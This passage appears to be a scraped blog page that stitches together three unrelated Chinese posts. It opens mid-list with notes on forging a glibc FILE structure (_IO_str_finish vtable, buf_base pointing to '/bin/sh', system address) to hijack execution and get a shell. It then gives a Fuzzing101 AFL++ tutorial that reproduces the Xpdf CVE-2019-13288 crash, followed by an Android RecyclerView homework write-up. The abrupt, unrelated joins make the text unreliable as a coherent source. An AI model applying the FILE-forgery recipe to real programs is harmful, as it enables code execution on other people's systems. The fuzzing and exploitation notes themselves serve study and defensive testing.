  2. (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))
  3. fp->_flags & _IO_USER_BUF(0x01)为假
  4. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数
  5. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 应当指向/bin/sh字符串对应的地址
  6. fp+0xe0指向system地址

_IO_str_jumps -> finish

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 条件:

_IO_buf_base 不为空
_flags & _IO_USER_BUF(0x01) 为假
构造:

_flags = (binsh_in_libc + 0x10) & ~1

_IO_buf_base = binsh_addr

_freeres_list = 0x2

_freeres_buf = 0x3

_mode = -1

vtable = _IO_str_finish - 0x18

fp+0xe8 -> system_addr

转载 Fuzzing101系列 Exercise 1 - Xpdf

序言

 Fuzzing101系列包含针对10 个真实目标的10个练习,在练习中一步一步学习Fuzzing技术的知识。

 模糊测试(Fuzzing/Fuzz)是一种自动化软件测试技术,它基于为程序提供随机或变异的输入值并监视它的异常和崩溃。

 AFL、libFuzzer 和 HonggFuzz 是现实世界应用中最多的三个模糊器,这三个都是覆盖引导的进化模糊器(Coverage-guided evolutionary fuzzer)。其中

  • 进化(evolutionary)是一种受进化算法启发的元启发式方法,它基本上包括通过使用选择标准(例如覆盖率)随时间推移初始子集(种子)的进化和变异。
  • 覆盖引导(Coverage-guided)是指为了增加发现新崩溃的机会,覆盖引导的模糊器收集和比较不同输入之间的代码覆盖率数据,并选择那些导致新执行路径的输入。

 在这个练习中,我们将fuzz Xpdf PDF 查看器。目的是在 XPDF 3.02 中找到 CVE-2019-13288 的崩溃/PoC。

 CVE-2019-13288 是一个漏洞,它可能会通过精心制作的文件导致无限递归。由于程序中每个被调用的函数都会在栈上分配一个栈帧,如果一个函数被递归调用这么多次,就会导致栈内存耗尽和程序崩溃。因此,远程攻击者可以利用它进行 DoS 攻击。可以在以下链接中找到有关不受控制的递归漏洞的更多信息:https://cwe.mitre.org/data/definitions/674.html

你会学到什么

 完成本练习后,你将了解使用 AFL 进行 fuzz 的基础,例如:

  • 使用检测编译目标应用程序
  • 运行模糊器(afl-fuzz)
  • 使用调试器 (GDB) 对崩溃进行分类

环境

 所有练习都在 Ubuntu 20.04.2 LTS 上进行了测试。 我强烈建议您使用相同的操作系统版本以避免不同的模糊测试结果,并在裸机硬件而不是虚拟机上运行 AFL,以获得最佳性能。

 否则,您可以在此处找到 Ubuntu 20.04.2 LTS 镜像。用户名为 fuzz / fuzz

 AFL 使用非确定性测试算法,因此两个模糊测试会话永远不会相同。我强烈建议设置一个固定的种子(-s 123),这样你的模糊测试结果将与本文的结果相似。

下载并构建目标

 首先为要进行模糊测试的项目创建一个新目录:

1
2
cd $HOME
mkdir fuzzing_xpdf && cd fuzzing_xpdf/

​ 为了完全准备好环境,需要安装一些额外的工具(make 和 gcc)

1
sudo apt install build-essential

​ 下载 Xpdf 3.02:

1
2
wget https://dl.xpdfreader.com/old/xpdf-3.02.tar.gz
tar -xvzf xpdf-3.02.tar.gz

​ 构建 Xpdf:

1
2
3
4
5
cd xpdf-3.02
sudo apt update && sudo apt install -y build-essential gcc
./configure --prefix="$HOME/fuzzing_xpdf/install/"
make
make install

​ 下面对 Xpdf 进行测试,首先下载一些 PDF 示例:

1
2
3
4
5
cd $HOME/fuzzing_xpdf
mkdir pdf_examples && cd pdf_examples
wget https://github.com/mozilla/pdf.js-sample-files/raw/master/helloworld.pdf
wget http://www.africau.edu/images/default/sample.pdf
wget https://www.melbpc.org.au/wp-content/uploads/2017/10/small-example-pdf-file.pdf

使用以下命令测试 pdfinfo 二进制文件:

1
$HOME/fuzzing_xpdf/install/bin/pdfinfo -box -meta $HOME/fuzzing_xpdf/pdf_examples/helloworld.pdf

image.png

安装 AFL++

​ 我们将使用最新版本的 AFL++ fuzzer(https://github.com/AFLplusplus/AFLplusplus)

安装依赖项

1
2
3
4
sudo apt-get update
sudo apt-get install -y build-essential python3-dev automake git flex bison libglib2.0-dev libpixman-1-dev python3-setuptools
sudo apt-get install -y lld-11 llvm-11 llvm-11-dev clang-11 || sudo apt-get install -y lld llvm llvm-dev clang
sudo apt-get install -y gcc-$(gcc --version|head -n1|sed 's/.* //'|sed 's/\..*//')-plugin-dev libstdc++-$(gcc --version|head -n1|sed 's/.* //'|sed 's/\..*//')-dev

构建 AFL++

1
2
3
4
5
cd $HOME
git clone https://github.com/AFLplusplus/AFLplusplus && cd AFLplusplus
export LLVM_CONFIG="llvm-config-11"
make distrib
sudo make install

执行afl-fuzz,查看是否安装成功

image.png

认识 AFL++

 AFL 是一个覆盖引导的模糊器(coverage-guided fuzzer),这意味着它收集每个变异输入的覆盖信息,来发现新的执行路径和潜在的错误。当源代码可用时,AFL 可以使用插桩(instrumentation),在每个基本块(函数、循环等)的开头插入函数调用。

 要为我们的目标程序启用检测,我们需要使用 AFL 的编译器编译源代码。

 首先,我们要清理所有之前编译的目标文件和可执行文件:

1
2
3
rm -r $HOME/fuzzing_xpdf/install
cd $HOME/fuzzing_xpdf/xpdf-3.02/
make clean

 现在我们将使用 afl-clang-fast 编译器构建 xpdf:

1
2
3
4
export LLVM_CONFIG="llvm-config-11"
CC=$HOME/AFLplusplus/afl-clang-fast CXX=$HOME/AFLplusplus/afl-clang-fast++ ./configure --prefix="$HOME/fuzzing_xpdf/install/"
make
make install

 现在可以使用以下命令运行 fuzzer:

1
afl-fuzz -i $HOME/fuzzing_xpdf/pdf_examples/ -o $HOME/fuzzing_xpdf/out/ -s 123 -- $HOME/fuzzing_xpdf/install/bin/pdftotext @@ $HOME/fuzzing_xpdf/output

 每个选项的简要说明

  • -i 表示输入示例的目录
  • -o 表示 AFL + + 将存储的变异文件的目录
  • -s 表示要使用的静态随机种子
  • @@ 是占位符目标的命令行,AFL 将用每个输入文件名替换

 fuzzer将会对每个不同的输入文件运行 $HOME/fuzzing_xpdf/install/bin/pdftotext <input-file-name> $HOME/fuzzing_xpdf/output 命令

image.png

出现错误,根据提示,执行以下操作:

1
2
3
sudo su
echo core >/proc/sys/kernel/core_pattern
exit

 成功运行,等待一段时间后,发现已经有了一个crash

image.png

可以在$HOME/fuzzing_xpdf/out/ 目录中找到这些崩溃文件。一旦发现第一次崩溃,就可以停止fuzzer,上图中已经出现了一个独特的崩溃。根据您的机器性能,最多可能需要一到两个小时才能发生崩溃。

 为了完成这个练习,下面尝试使用指定的文件重现崩溃,调试崩溃发现问题,并且修复问题。

重现崩溃

 在$HOME/fuzzing_xpdf/out/目录下找到 crash 对应的文件。文件名类似于id:000000,sig:11,src:000390,time:103613,execs:71732,op:havoc,rep:16

image.png

将此文件作为输入传递给 pdftotext

1
$HOME/fuzzing_xpdf/install/bin/pdftotext '/home/fuzz/fuzzing_xpdf/out/default/crashes/<your_filename>' $HOME/fuzzing_xpdf/output

 它将导致段错误segmentation fault并导致程序崩溃。

image.png

调试

 使用 gdb 找出程序因该输入而崩溃的原因。

 首先使用调试信息重建 Xpdf 来获得符号堆栈跟踪:

1
2
3
4
5
6
rm -r $HOME/fuzzing_xpdf/install
cd $HOME/fuzzing_xpdf/xpdf-3.02/
make clean
CFLAGS="-g -O0" CXXFLAGS="-g -O0" ./configure --prefix="$HOME/fuzzing_xpdf/install/"
make
make install

 然后使用GDB,输入run

1
gdb --args $HOME/fuzzing_xpdf/install/bin/pdftotext $HOME/fuzzing_xpdf/out/default/crashes/<your_filename> $HOME/fuzzing_xpdf/output

image.png

然后输入bt回溯查看栈帧

image.png

发现有许多次Parser::getObj的调用,它们似乎表示一个无限递归。如果你去 https://www.cvedetails.com/cve/cve-2019-13288/ ,你可以看到描述符合我们从 GDB 得到的回溯

AS类微信界面开发

功能要求

1、在任一tab页中实现列表效果;本功能的实现需要使用 recycleview;

2、将recyclerView的每个item增加点击功能,点击后跳转到一个新的view展示信息

开发技术

开发工具:as

版本:API 24 Android 7.0

思路分析

本次实验目的是实现在任一tab页将recyclerView的每个item增加点击功能,点击后跳转到一个新的view展示信息,固需要采用到以下两点技术

  1. 列表的实现需要使用控件recyclerView进行操作,需创建一个单独的放置recyclerview的layout——item.xml文件,另外还需要单独创建每一项的具体内容的layout文件——fragment_txl.xml
  2. fragment或activity之间的跳转实现采用startActivity(),新版本中如果还需要返回内容可以采用registerForActivityResult()方法,并采用launch()方法进行跳转

总体思路为在layout创建item.xml文件放recyclerview控件,fragment_txl.xml放列表每一项的信息。在txlfragment定义初始化信息并将信息写成数组方便传参,配合Myadapter适配器进行使用,跳转的具体方法采用startActivity()进行跳转,在跳转的详情页面txlDetails接受传过来的intent并显示数据,设置返回按钮用于返回。

设计过程

1. 编写layout

1.1 在新建的item.xml中添加recycleview

效果

image.png

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical">

<androidx.recyclerview.widget.RecyclerView
android:id="@+id/itemview"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:layout_marginStart="8dp"
android:layout_marginTop="8dp"
android:layout_marginEnd="8dp"
android:layout_marginBottom="8dp" />
</LinearLayout>

创建了一个RecyclerView,命名为itemview

1.2 在fragment_txl.xml中实现每一项的信息

效果

image.png

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="wrap_content">

<LinearLayout
android:id="@+id/linearLayout_txl"
android:layout_width="match_parent"
android:layout_height="wrap_content"

android:layout_marginTop="15dp">

<ImageView
android:id="@+id/image_touxiang"
android:layout_width="60dp"
android:layout_height="68dp"
android:layout_marginRight="20dp"
android:layout_gravity="left|center_vertical"
tools:srcCompat="@tools:sample/avatars" />

<TextView
android:id="@+id/text_duihuakuang"
android:layout_width="wrap_content"
android:layout_height="match_parent"
android:gravity="left|center_vertical"
android:text="TextView"
android:textSize="24sp" />
</LinearLayout>

</LinearLayout>

用一个Linearlayout包含了一个ImageView和TextView,方便后续点击跳转

1.3 实现跳转详情页面activity_txl_details.xml的内容

效果

image.png

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
tools:context=".txlDetails">

<TextView
android:id="@+id/WeChatname"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="名字"
android:textStyle="bold"
android:textSize="35sp"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintHorizontal_bias="0.008"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent"
app:layout_constraintVertical_bias="0.275" />

<LinearLayout
android:id="@+id/linearLayout"
android:layout_width="411dp"
android:layout_height="wrap_content"
android:orientation="horizontal">

</LinearLayout>

<LinearLayout
android:id="@+id/linearLayout2"
android:layout_width="411dp"
android:layout_height="wrap_content"
android:orientation="horizontal">

</LinearLayout>

<LinearLayout
android:id="@+id/linearLayout3"
android:layout_width="411dp"
android:layout_height="wrap_content"
android:orientation="horizontal">

</LinearLayout>

<LinearLayout
android:id="@+id/linearLayout4"
android:layout_width="411dp"
android:layout_height="wrap_content"
android:orientation="horizontal">

</LinearLayout>

<Button
android:id="@+id/returnButton"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="408dp"
android:text="返回"
android:textSize="35sp"
app:layout_constraintTop_toBottomOf="@+id/imageDetail"
tools:layout_editor_absoluteX="146dp" />

<TextView
android:id="@+id/wxtag"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="24dp"
android:layout_weight="1"
android:textStyle="bold"
android:text="标签"
android:textSize="35sp"
app:layout_constraintTop_toBottomOf="@+id/region"
tools:layout_editor_absoluteX="5dp" />

<TextView
android:id="@+id/wxtag2"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginStart="188dp"
android:layout_weight="1"
android:textStyle="bold"
android:gravity="center"
android:text="未分类"
android:textSize="35sp"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintHorizontal_bias="0.441"
app:layout_constraintStart_toEndOf="@+id/wxtag"
app:layout_constraintTop_toTopOf="parent"
app:layout_constraintVertical_bias="0.611" />

<TextView
android:id="@+id/region"
android:layout_width="141dp"
android:layout_height="wrap_content"
android:layout_marginTop="24dp"
android:layout_weight="1"
android:textStyle="bold"
android:text="地区"
android:textSize="35sp"
app:layout_constraintTop_toBottomOf="@+id/phoneNumber"
tools:layout_editor_absoluteX="5dp" />

<TextView
android:id="@+id/region2"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_weight="1"
android:gravity="center"
android:text="未知"
android:textSize="35sp"
android:textStyle="bold"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintHorizontal_bias="0.773"
app:layout_constraintStart_toStartOf="@+id/region"
app:layout_constraintTop_toTopOf="parent"
app:layout_constraintVertical_bias="0.501" />

<ImageView
android:id="@+id/imageDetail"
android:layout_width="154dp"
android:layout_height="121dp"
android:layout_weight="1"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintHorizontal_bias="0.498"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent"
app:layout_constraintVertical_bias="0.042"
tools:srcCompat="@tools:sample/avatars" />

<TextView
android:id="@+id/phoneNumber"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="28dp"
android:layout_weight="1"
android:gravity="center"
android:textStyle="bold"
android:text="电话号码"
android:textSize="35sp"
app:layout_constraintTop_toBottomOf="@+id/WeChatname"
tools:layout_editor_absoluteX="0dp" />

<TextView
android:id="@+id/phone"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginStart="36dp"
android:layout_weight="1"
android:text="11111111111"
android:textSize="35sp"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintHorizontal_bias="0.058"
app:layout_constraintStart_toEndOf="@+id/phoneNumber"
app:layout_constraintTop_toTopOf="parent"
app:layout_constraintVertical_bias="0.388" />

<TextView
android:id="@+id/textDetail"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginStart="152dp"
android:layout_weight="3"
android:gravity="center"
android:text="微信昵称"
android:textStyle="bold"
android:textSize="35sp"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintHorizontal_bias="0.0"
app:layout_constraintStart_toEndOf="@+id/WeChatname"
app:layout_constraintTop_toTopOf="parent"
app:layout_constraintVertical_bias="0.275" />

</androidx.constraintlayout.widget.ConstraintLayout>

设置了一些基础信息

2. 核心代码实现

2.1 在txlFragment里面实现了初始化操作,并生成数据数组,创建RecycleView实例和设置Adapter

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package com.example.mywork;

import android.content.Context;
import android.content.Intent;
import android.graphics.Color;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.LinearLayout;

import androidx.activity.result.ActivityResult;
import androidx.activity.result.ActivityResultCallback;
import androidx.activity.result.ActivityResultLauncher;
import androidx.activity.result.contract.ActivityResultContracts;
import androidx.annotation.NonNull;
import androidx.fragment.app.Fragment;
import androidx.recyclerview.widget.ItemTouchHelper;
import androidx.recyclerview.widget.LinearLayoutManager;
import androidx.recyclerview.widget.RecyclerView;

import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class txlFragment extends Fragment {
//获取recyclerView对象并且实例化适配器
private RecyclerView recyclerView;
private MyAdapter myAdapter;
LinearLayout linearLayout;

@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
// Inflate the layout for this fragment
//return inflater.inflate(R.layout.fra_lx, container, false);
View view;
//存所有控件的视图
view=inflater.inflate(R.layout.item, container, false);
//调用recycleview控件
recyclerView=view.findViewById(R.id.itemview);
linearLayout=view.findViewById(R.id.linearLayout_txl);
//创建数据
String[] names={"Pappy","Mommy","Sister","Little Sister","Brother","Little Brother","Roommate"};
int[] images={R.drawable.baba,R.drawable.mama,R.drawable.jiejie,R.drawable.meimei,R.drawable.gege,
R.drawable.didi,R.drawable.shiyou1};
String[] phones={"123456789","123456789","123456789","123456789","123456789",
"123456789","123456789"};
String[] regions={"四川 南充","四川 南充","四川 南充","四川 南充","四川 南充","四川 南充","湖北 武汉"};
String[] tags={"家人","家人","家人","家人","家人","家人","同学"};
List<Map<String,Object>> items=new ArrayList<Map<String,Object>>();
for(int i=0;i<names.length;i++){
Map<String,Object> item=new HashMap<String, Object>();
item.put("i_name",names[i]);
item.put("i_image",images[i]);
item.put("i_phone",phones[i]);
item.put("i_region",regions[i]);
item.put("i_tag",tags[i]);
items.add(item);
}
//创建RecycleView实例和设置Adapter
Context context=getContext();
myAdapter=new MyAdapter(items,context);
LinearLayoutManager manager=new LinearLayoutManager(context);
manager.setOrientation(recyclerView.VERTICAL);
recyclerView.setLayoutManager(manager);
recyclerView.setAdapter(myAdapter);
return view;
}
}

2.2 Myadapater 实现跳转操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package com.example.mywork;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.TextView;

import androidx.activity.result.ActivityResult;
import androidx.activity.result.ActivityResultCallback;
import androidx.activity.result.ActivityResultLauncher;
import androidx.activity.result.contract.ActivityResultContracts;
import androidx.annotation.NonNull;
import androidx.recyclerview.widget.RecyclerView;

import java.util.List;
import java.util.Map;

public class MyAdapter extends RecyclerView.Adapter <MyAdapter.MyViewHolder>{
//定义存储数据和运行环境的变量
private List<Map<String,Object>> mydata;
private Context mycontext;

//获取数据和运行环境
public MyAdapter(List<Map<String,Object>> data, Context context){
mydata=data;
mycontext=context;
}

@NonNull
@Override
public MyViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
View view= LayoutInflater.from(mycontext).inflate(R.layout.fragment_txl,parent,false);
MyViewHolder holder=new MyViewHolder(view);
return holder;
}

@Override
public void onBindViewHolder(@NonNull MyAdapter.MyViewHolder holder, int position) {
String name=mydata.get(position).get("i_name").toString();
int image=Integer.parseInt(mydata.get(position).get("i_image").toString());
//获取详情页面中某个联系人的对应数据
String phone=mydata.get(position).get("i_phone").toString();
String region=mydata.get(position).get("i_region").toString();
String tag=mydata.get(position).get("i_tag").toString();
holder.textView.setText(name);
holder.imageView.setImageResource(image);

//添加点击事件
holder.linearLayout_txl.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
//点击后跳转到联系人详情页
Intent intent=new Intent(mycontext, txlDetails.class);

//使用bundle传值
Bundle bundle = new Bundle();
bundle.putString("details",name);
bundle.putInt("image", image);
bundle.putString("phone",phone);
bundle.putString("region",region);
bundle.putString("tag",tag);

intent.putExtras(bundle);
mycontext.startActivity(intent);
}
});
}

@Override
public int getItemCount() {
return mydata.size();
}
public class MyViewHolder extends RecyclerView.ViewHolder {
public LinearLayout linearLayout_txl;
private TextView textView;
private ImageView imageView;
public MyViewHolder(@NonNull View itemView) {
super(itemView);
//获取item中的控件id
textView=itemView.findViewById(R.id.text_duihuakuang);
imageView=itemView.findViewById(R.id.image_touxiang);
linearLayout_txl=itemView.findViewById(R.id.linearLayout_txl);
}

}
}

跳转的实现主要是对于LinearLayout_txl 的点击动作实现一个监听,具体操作 Intent intent=new Intent(mycontext, txlDetails.class) myContext是一个代表当前Activity的上下文对象。txlDetails.class是目标Activity的类名。然后将数据压缩绑定到bundle里面,添加到intent,最后调用startActivity(intent) 进行跳转

2.3 txlDetails

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package com.example.mywork;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.ImageView;
import android.widget.TextView;

public class txlDetails extends AppCompatActivity {
TextView dName,textView1,textView2,textView3;
ImageView dImage;
Button button_r;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_txl_details);
//获取上一个Actvity传过来的intent
Intent intent=getIntent();
dName=findViewById(R.id.textDetail);
dImage=findViewById((R.id.imageDetail));
//根据intent获取得到的数据设置item控件的值
dImage.setImageResource(intent.getIntExtra("image",R.drawable.find));
dName.setText(intent.getStringExtra("details"));
textView1=findViewById(R.id.phone);
textView2=findViewById(R.id.region2);
textView3=findViewById(R.id.wxtag2);
textView1.setText(intent.getStringExtra("phone"));
textView2.setText(intent.getStringExtra("region"));
textView3.setText(intent.getStringExtra("tag"));
button_r=findViewById(R.id.returnButton);
button_r.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Log.d("fb","button_r....");
Intent intent = new Intent();
setResult(777,intent);
finish();
}
});

}
}

用于接受来自txlFragment传过来的数据并显示数据,设置了返回button用于返回至跳转前的Activity

结果展示

4.gif

代码仓库

https://github.com/Kylinxin/MyWork

总结

​ 本次实现我完成了RecyclerView的实现,明白了如何对recyclerView进行传参,设置每一项的具体样子。同时对Activity跳转有了更清晰的认识,startActivity(intent);通过intent设置了跳转对象,进行跳转,这种方法简单直观,但是没办法处理返回值,老版本的解决方法是采用方法startActivityForResult()进行解决,但是有许多弊端和RequestCode难以处理,新版本中采用了registerForActivityResult()方法通过在使用registerForActivityResult()方法注册ActivityResultContracts.StartActivityForResult时,处理启动Activity并获取返回结果的逻辑。ActivityResultCallback是一个接口,用于处理ActivityResultLauncher的结果回调。当启动的Activity结束并返回结果时,回调方法中的ActivityResult参数将包含返回的结果信息。总的来说思路非常清晰,但是我也发现了一个问题,那就是在myadater中无法使用这种方式进行跳转,后来查找原因,registerForActivityResult()只能在fragment或activity中才能使用。这次收获满满,加深了我对recyclerView的使用和activity间跳转的用法和差异。

—— 2023.11.7

0%